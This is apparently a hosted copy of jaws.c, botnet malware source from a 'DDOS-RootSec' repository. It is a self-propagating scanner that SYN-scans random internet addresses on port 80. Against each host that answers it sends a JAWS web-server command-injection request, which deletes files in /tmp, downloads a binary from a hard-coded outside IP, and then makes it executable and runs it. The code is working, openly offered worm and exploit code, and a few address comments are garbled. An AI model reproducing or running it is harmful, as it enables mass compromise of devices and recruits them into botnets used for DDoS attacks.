Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/Jaws/jaws.c
5038 views
1
#define _GNU_SOURCE
2
3
#ifdef DEBUG
4
#include <stdio.h>
5
#endif
6
#include <unistd.h>
7
#include <stdlib.h>
8
#include <sys/socket.h>
9
#include <arpa/inet.h>
10
#include <sys/select.h>
11
#include <sys/types.h>
12
#include <time.h>
13
#include <fcntl.h>
14
#include <signal.h>
15
#include <errno.h>
16
#include <string.h>
17
#include <linux/ip.h>
18
#include <linux/tcp.h>
19
20
#include "includes.h"
21
#include "jaws.h"
22
#include "table.h"
23
#include "rand.h"
24
#include "util.h"
25
#include "checksum.h"
26
27
int jaws_scanner_pid = 0, jaws_rsck = 0, jaws_rsck_out = 0;
28
char jaws_scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};
29
struct jaws_scanner_connection *conn_table;
30
uint32_t jaws_fake_time = 0;
31
32
int jaws_recv_strip_null(int sock, void *buf, int len, int flags)
33
{
34
int ret = recv(sock, buf, len, flags);
35
36
if (ret > 0)
37
{
38
int i = 0;
39
40
for (i = 0; i < ret; i++)
41
{
42
if (((char *)buf)[i] == 0x00)
43
{
44
((char *)buf)[i] = 'A';
45
}
46
}
47
}
48
49
return ret;
50
}
51
52
void jaws_scanner(void)
53
{
54
int i = 0;
55
uint16_t source_port;
56
struct iphdr *iph;
57
struct tcphdr *tcph;
58
59
// Let parent continue on main thread
60
jaws_scanner_pid = fork();
61
if (jaws_scanner_pid > 0 || jaws_scanner_pid == -1)
62
return;
63
64
LOCAL_ADDR = util_local_addr();
65
66
rand_init();
67
jaws_fake_time = time(NULL);
68
conn_table = calloc(jaws_SCANNER_MAX_CONNS, sizeof(struct jaws_scanner_connection));
69
for (i = 0; i < jaws_SCANNER_MAX_CONNS; i++)
70
{
71
conn_table[i].state = jaws_SC_CLOSED;
72
conn_table[i].fd = -1;
73
}
74
75
// Set up raw socket scanning and payload
76
if ((jaws_rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
77
{
78
#ifdef DEBUG
79
printf("[jaws] failed to initialize raw socket, cannot scan\n");
80
#endif
81
exit(0);
82
}
83
fcntl(jaws_rsck, F_SETFL, O_NONBLOCK | fcntl(jaws_rsck, F_GETFL, 0));
84
i = 1;
85
if (setsockopt(jaws_rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)
86
{
87
#ifdef DEBUG
88
printf("[jaws] failed to set IP_HDRINCL, cannot scan\n");
89
#endif
90
close(jaws_rsck);
91
exit(0);
92
}
93
94
do
95
{
96
source_port = rand_next() & 0xffff;
97
} while (ntohs(source_port) < 1024);
98
99
iph = (struct iphdr *)jaws_scanner_rawpkt;
100
tcph = (struct tcphdr *)(iph + 1);
101
102
// Set up IPv4 header
103
iph->ihl = 5;
104
iph->version = 4;
105
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
106
iph->id = rand_next();
107
iph->ttl = 64;
108
iph->protocol = IPPROTO_TCP;
109
110
// Set up TCP header
111
tcph->dest = htons(80);
112
tcph->source = source_port;
113
tcph->doff = 5;
114
tcph->window = rand_next() & 0xffff;
115
tcph->syn = TRUE;
116
117
#ifdef DEBUG
118
printf("[jaws] realtek process initialized. scanning started.\n");
119
#endif
120
121
// Main logic loop
122
while (TRUE)
123
{
124
fd_set fdset_rd, fdset_wr;
125
struct jaws_scanner_connection *conn;
126
struct timeval tim;
127
int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
128
129
// Spew out SYN to try and get a response
130
if (jaws_fake_time != last_spew)
131
{
132
last_spew = jaws_fake_time;
133
134
for (i = 0; i < jaws_SCANNER_RAW_PPS; i++)
135
{
136
struct sockaddr_in paddr = {0};
137
struct iphdr *iph = (struct iphdr *)jaws_scanner_rawpkt;
138
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
139
140
iph->id = rand_next();
141
iph->saddr = LOCAL_ADDR;
142
iph->daddr = jaws_get_random_ip();
143
iph->check = 0;
144
iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));
145
146
tcph->dest = htons(80);
147
tcph->seq = iph->daddr;
148
tcph->check = 0;
149
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));
150
151
paddr.sin_family = AF_INET;
152
paddr.sin_addr.s_addr = iph->daddr;
153
paddr.sin_port = tcph->dest;
154
155
sendto(jaws_rsck, jaws_scanner_rawpkt, sizeof(jaws_scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));
156
}
157
}
158
159
// Read packets from raw socket to get SYN+ACKs
160
last_avail_conn = 0;
161
while (TRUE)
162
{
163
int n = 0;
164
char dgram[1514];
165
struct iphdr *iph = (struct iphdr *)dgram;
166
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
167
struct jaws_scanner_connection *conn;
168
169
errno = 0;
170
n = recvfrom(jaws_rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);
171
if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
172
break;
173
174
if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
175
continue;
176
if (iph->daddr != LOCAL_ADDR)
177
continue;
178
if (iph->protocol != IPPROTO_TCP)
179
continue;
180
if (tcph->source != htons(80))
181
continue;
182
if (tcph->dest != source_port)
183
continue;
184
if (!tcph->syn)
185
continue;
186
if (!tcph->ack)
187
continue;
188
if (tcph->rst)
189
continue;
190
if (tcph->fin)
191
continue;
192
if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
193
continue;
194
195
conn = NULL;
196
for (n = last_avail_conn; n < jaws_SCANNER_MAX_CONNS; n++)
197
{
198
if (conn_table[n].state == jaws_SC_CLOSED)
199
{
200
conn = &conn_table[n];
201
last_avail_conn = n;
202
break;
203
}
204
}
205
206
// If there were no slots, then no point reading any more
207
if (conn == NULL)
208
break;
209
210
conn->dst_addr = iph->saddr;
211
conn->dst_port = tcph->source;
212
jaws_setup_connection(conn);
213
}
214
215
FD_ZERO(&fdset_rd);
216
FD_ZERO(&fdset_wr);
217
218
for (i = 0; i < jaws_SCANNER_MAX_CONNS; i++)
219
{
220
int timeout = 5;
221
222
conn = &conn_table[i];
223
//timeout = (conn->state > jaws_SC_CONNECTING ? 30 : 5);
224
225
if (conn->state != jaws_SC_CLOSED && (jaws_fake_time - conn->last_recv) > timeout)
226
{
227
close(conn->fd);
228
conn->fd = -1;
229
conn->state = jaws_SC_CLOSED;
230
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
231
232
continue;
233
}
234
235
if (conn->state == jaws_SC_CONNECTING || conn->state == jaws_SC_EXPLOIT_STAGE2 || conn->state == jaws_SC_EXPLOIT_STAGE3)
236
{
237
FD_SET(conn->fd, &fdset_wr);
238
if (conn->fd > mfd_wr)
239
mfd_wr = conn->fd;
240
}
241
else if (conn->state != jaws_SC_CLOSED)
242
{
243
FD_SET(conn->fd, &fdset_rd);
244
if (conn->fd > mfd_rd)
245
mfd_rd = conn->fd;
246
}
247
}
248
249
tim.tv_usec = 0;
250
tim.tv_sec = 1;
251
nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
252
jaws_fake_time = time(NULL);
253
254
for (i = 0; i < jaws_SCANNER_MAX_CONNS; i++)
255
{
256
conn = &conn_table[i];
257
258
if (conn->fd == -1)
259
continue;
260
261
if (FD_ISSET(conn->fd, &fdset_wr))
262
{
263
int err = 0, ret = 0;
264
socklen_t err_len = sizeof(err);
265
266
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
267
if (err == 0 && ret == 0)
268
{
269
if (conn->state == jaws_SC_EXPLOIT_STAGE2)
270
{
271
#ifdef DEBUG
272
printf("[jaws] FD%d sending payload\n", conn->fd);
273
#endif
274
275
util_strcpy(conn->payload_buf, "GET /shell?cd+/tmp;rm+-rf+*;wget+ 134.122.9.255/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4 HTTP/1.1\r\nUser-Agent: r00ts3c-owned-you\r\nHost: 127.0.0.1:80\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection: keep-alive\r\n\r\n");
276
send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);
277
util_zero(conn->payload_buf, sizeof(conn->payload_buf));
278
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
279
280
close(conn->fd);
281
jaws_setup_connection(conn);
282
conn->state = jaws_SC_EXPLOIT_STAGE3;
283
284
continue;
285
}
286
else if (conn->state == jaws_SC_EXPLOIT_STAGE3)
287
{
288
#ifdef DEBUG
289
printf("[jaws] FD%d finished\n", conn->fd);
290
#endif
291
292
close(conn->fd);
293
conn->fd = -1;
294
conn->state = jaws_SC_CLOSED;
295
296
continue;
297
}
298
else
299
{
300
#ifdef DEBUG
301
printf("[jaws] FD%d connected to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);
302
#endif
303
304
conn->state = jaws_SC_EXPLOIT_STAGE2;
305
}
306
}
307
else
308
{
309
close(conn->fd);
310
conn->fd = -1;
311
conn->state = jaws_SC_CLOSED;
312
313
continue;
314
}
315
}
316
317
if (FD_ISSET(conn->fd, &fdset_rd))
318
{
319
while (TRUE)
320
{
321
int ret = 0;
322
323
if (conn->state == jaws_SC_CLOSED)
324
break;
325
326
if (conn->rdbuf_pos == jaws_SCANNER_RDBUF_SIZE)
327
{
328
memmove(conn->rdbuf, conn->rdbuf + jaws_SCANNER_HACK_DRAIN, jaws_SCANNER_RDBUF_SIZE - jaws_SCANNER_HACK_DRAIN);
329
conn->rdbuf_pos -= jaws_SCANNER_HACK_DRAIN;
330
}
331
332
errno = 0;
333
ret = jaws_recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, jaws_SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
334
if (ret == 0)
335
{
336
errno = ECONNRESET;
337
ret = -1;
338
}
339
if (ret == -1)
340
{
341
if (errno != EAGAIN && errno != EWOULDBLOCK)
342
{
343
if (conn->state == jaws_SC_EXPLOIT_STAGE2)
344
{
345
close(conn->fd);
346
jaws_setup_connection(conn);
347
continue;
348
}
349
350
close(conn->fd);
351
conn->fd = -1;
352
conn->state = jaws_SC_CLOSED;
353
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
354
}
355
break;
356
}
357
358
conn->rdbuf_pos += ret;
359
conn->last_recv = jaws_fake_time;
360
361
int len = util_strlen(conn->rdbuf);
362
conn->rdbuf[len] = 0;
363
}
364
}
365
}
366
}
367
}
368
369
void jaws_kill(void)
370
{
371
kill(jaws_scanner_pid, 9);
372
}
373
374
static void jaws_setup_connection(struct jaws_scanner_connection *conn)
375
{
376
struct sockaddr_in addr = {0};
377
378
if (conn->fd != -1)
379
close(conn->fd);
380
381
if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
382
{
383
return;
384
}
385
386
conn->rdbuf_pos = 0;
387
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
388
389
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
390
391
addr.sin_family = AF_INET;
392
addr.sin_addr.s_addr = conn->dst_addr;
393
addr.sin_port = conn->dst_port;
394
395
conn->last_recv = jaws_fake_time;
396
397
if (conn->state == jaws_SC_EXPLOIT_STAGE2 || conn->state == jaws_SC_EXPLOIT_STAGE3)
398
{
399
}
400
else
401
{
402
conn->state = jaws_SC_CONNECTING;
403
}
404
405
connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
406
}
407
408
static ipv4_t jaws_get_random_ip(void)
409
{
410
uint32_t tmp;
411
uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;
412
413
do
414
{
415
tmp = rand_next();
416
417
o1 = tmp & 0xff;
418
o2 = (tmp >> 8) & 0xff;
419
o3 = (tmp >> 16) & 0xff;
420
o4 = (tmp >> 24) & 0xff;
421
}
422
while(o1 == 127 || // 127.0.0.0/8 - Loopback
423
(o1 == 0) || // 62.171.183.29/8 - Invalid address space
424
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
425
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
426
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
427
(o1 == 10) || // 162.171.183.29/8 - Internal network
428
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
429
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
430
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
431
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
432
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
433
(o1 >= 224) || // 224.*.*.*+ - Multicast
434
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
435
);
436
return INET_ADDR(o1,o2,o3,o4);
437
438
439
}
440
441